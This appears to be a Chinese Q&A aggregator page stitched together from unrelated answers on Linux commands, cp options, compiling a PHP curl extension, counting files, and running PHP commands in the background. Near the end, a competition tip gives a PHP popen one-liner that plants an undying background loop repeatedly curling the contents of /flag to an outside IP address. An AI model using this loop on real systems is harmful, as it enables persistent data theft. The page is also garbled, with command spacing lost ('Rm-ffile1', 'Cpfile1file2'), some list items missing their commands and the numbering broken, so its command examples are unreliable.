Ⅱ php 擴展文件所在的路徑
一般默認的安裝路徑是在/var/www裡面。
1.首先,連接相應的zdlinux主機,輸入Linux命令行,等待shell命令的輸入。
(2)php7cp命令詳解擴展閱讀:
常見的Linux命令
1.將CD/home放入『/home』目錄中。
2.CD..返回到前一個目錄。
3.CD../..返回上面的兩個目錄。
4.將CD放入個人主目錄。
5.CD~user1進入個人主目錄。
6.返回到您上次所在的目錄。
7.PWD顯示工作路徑。
8.Ls查看目錄中的文件。
9.Ls-f查看目錄中的文件。
10.Ls-l顯示文件和目錄的詳細信息。
11.Ls-a顯示隱藏文件。
12.Ls*[0-9]*顯示包含該編號的文件名和目錄名。
13.樹顯示文件和目錄來自根項目記錄樹結構的開始。
14.Rm-ffile1刪除一個名為「file1」的文件。
15.刪除一個名為「dir1」的目錄。
16.Rm-rfdir1刪除一個名為「dir1」的目錄並刪除其內容。
17.同時刪除目錄及其內容。
18.重命名/移動一個目錄。
19.Cpfile1file2復制一個文件。
Ⅲ Linux 復制 cp 命令詳解
cp命令用來將一個或多個源文件或者目錄復制到指定的目的文件或目錄。它可以將單個源文件復製成一個指定文件名的具體的文件或一個已經存在的目錄下。cp命令還支持同時復制多個文件,當一次復制多個文件時,目標文件參數必須是一個已經存在的目錄,否則將出現錯誤。
-a:此參數的效果和同時指定"-dpR"參數相同;
-d:當復制符號連接時,把目標文件或目錄也建立為符號連接,並指向與源文件或目錄連接的原始文件或目錄;
-f:強行復制文件或目錄,不論目標文件或目錄是否已存在;
-i:覆蓋既有文件之前先詢問用戶;
-l:對源文件建立硬連接,而非復制文件;
-p:保留源文件或目錄的屬性;
-R/r:遞歸處理,將指定目錄下的所有文件與子目錄一並處理;
-s:對源文件建立符號連接,而非復制文件;
-u:使用這項參數後只會在源文件的更改時間較目標文件更新時或是名稱相互對應的目標文件並不存在時,才復制文件;
-S:在備份文件時,用指定的後綴「SUFFIX」代替文件的默認後綴;
-b:覆蓋已存在的文件目標前將目標文件備份;
-v:詳細顯示命令執行的操作。
Ⅳ PHP單獨添加擴展 無需重啟伺服器
問題
php自身提供了很多擴展,比如curl,gmp, mbstring等等。我們在編譯安裝php時未必安裝了所有擴展。那麼在安裝完php後,如果想單獨安裝某個php自身的擴展怎麼辦呢?
我們以curl擴展模塊的安裝為例說明如何單獨添加擴展。
步驟
1.進入php源碼的擴展目錄。本例中我的源碼對應目錄如下:
/search/src/php-7.0.14/ext
1
2.進入模塊目錄,我們安裝的是curl擴展,所以進入curl目錄。此時,我們所在的目錄是
/search/src/php-7.0.14/ext/curl
1
3.執行phpize。注意,如果你的機器上有多個php版本,一定要執行你准備安裝擴展的php版本對應的phpize。比如,我的機器上同時有php7和php5.3.3。我當前准備為php7安裝curl擴展。所以執行php7對應的phpize
1 /usr/local/php70/bin/phpize
2
3 結果類似:
4 Configuring for:
5 PHP Api Version: 20151012
6 Zend Mole Api No: 20151012
7 Zend Extension Api No: 320151012
4.執行
./configure --with-php-config=/usr/local/php70/bin/php-config
1
說明:如果你的機器上只有一個php版本,大多時候不需要特別使用–with-php-config指明相應的php-config所在位置。
5.執行make,之後會在./moles/目錄下生成curl.so文件
6.執行make install
結果類似:
Installing shared extensions: /usr/local/php70/lib/php/20151012/
1
2
執行結果告訴你將curl.so安裝到了哪個目錄。
一般情況,如果你正確的指定了php-config或者你的機器只有一個php版本,so都會被正確安裝到相應php的extension_dir。如果執行make install後,extension_dir目錄下沒有相應的so,可以手動將第5步中生成的so文件cp過去。
要查看具體extension_dir,可以執行如下命令。
php -i| grep extension_dir
結果類似
extension_dir => /usr/local/php70/lib/php/20151012/ => /usr/local/php70/lib/php/20151012/
1
2
3
7.在php.ini中增加
extension=curl.so
1
如果不知道php.ini的具體位置,可以通過如下命令查看
php --ini
1
8.執行如下命令,查看是否安裝成功
php -m | grep curl
1
如果你看到了curl, 恭喜你,安裝成功!
Ⅳ linux下備份一個目錄下所有文件及目錄,應該用什麼命令
應該用cp
-rf
源目錄
備份目錄
cp是復制命令
-r
遞歸處理,指定目錄下的文件和子目錄一並處理
-f
強行復制,無論目標是否存在
知道指定後綴名的文件總個數命令:
find
.
-name
*.cpp
|
wc
-l
知道一個目錄下代碼總行數以及單個文件行數:
find
.
-name
*.h
|
xargs
wc
-l
linux統計文件夾中文件數目。
第一種方法:
ls
-l|grep
「^-」|wc
-l
ls
-l
長列表輸出該目錄下文件信息(注意這里的文件,不同於一般的文件,可能是目錄、鏈接、設備文件等)。如果ls
-lR|grep
「^-」|wc-l則可以連子目錄下的文件一起統計。
grep
^-
這里將長列表輸出信息過濾一部分,只保留一般文件,如果只保留目錄就是
^d
wc
-l
統計輸出信息的行數,因為已經過濾得只剩一般文件了,所以統計結果就是一般文件信息的行數,又由於一行信息對應一個文件,所以也就是文件的個數。
第二種方法:
find
./
-type
f|wc
-l
由於默認find會去子目錄查找,如果只想查找當前目錄的文件用
需要說明的是第二種方法會比第一種方法快很多,尤其是也統計子目錄時。
(5)php7cp命令詳解擴展閱讀
linux
Linux是一套免費使用和自由傳播的類Unix操作系統,是一個基於POSIX和UNIX的多用戶、多任務、支持多線程和多CPU的操作系統。它能運行主要的UNIX工具軟體、應用程序和網路協議。它支持32位和64位硬體。Linux繼承了Unix以網路為核心的設計思想,是一個性能穩定的多用戶網路操作系統。
Linux操作系統誕生於1991
年10
月5
日(這是第一次正式向外公布時間)。Linux存在著許多不同的Linux版本,但它們都使用了Linux內核。Linux可安裝在各種計算機硬體設備中,比如手機、平板電腦、路由器、視頻游戲控制台、台式計算機、大型機和超級計算機。
嚴格來講,Linux這個詞本身只表示Linux內核,但實際上人們已經習慣了用Linux來形容整個基於Linux內核,並且使用GNU工程各種工具和資料庫的操作系統。
參考資料來源:網路:linux
Ⅵ php執行外部命令,如何不等待返回結果
pclose(popen('command &', 'r'));
感謝樓上的朋友。親測有效,在linux中需要讓程序在後台運行才可以,因此必須加&,例如:
pclose(popen("{ while true;do echo 123;sleep 5;done;}&", r));
這條命令注意 { 後面有一個空格。玩awd攻防賽的朋友可以靠這種方式種一個不死的子進程,不斷發送flag給伺服器:
pclose(popen("{ while true;do curl http://192.168.62.1/?flag=`cat /flag`;sleep 5;done;}&", 'r'));
Ⅶ linux的php安裝目錄在哪
1、首先,連接相應linux主機,進入到linux命令行狀態下,等待輸入shell指令。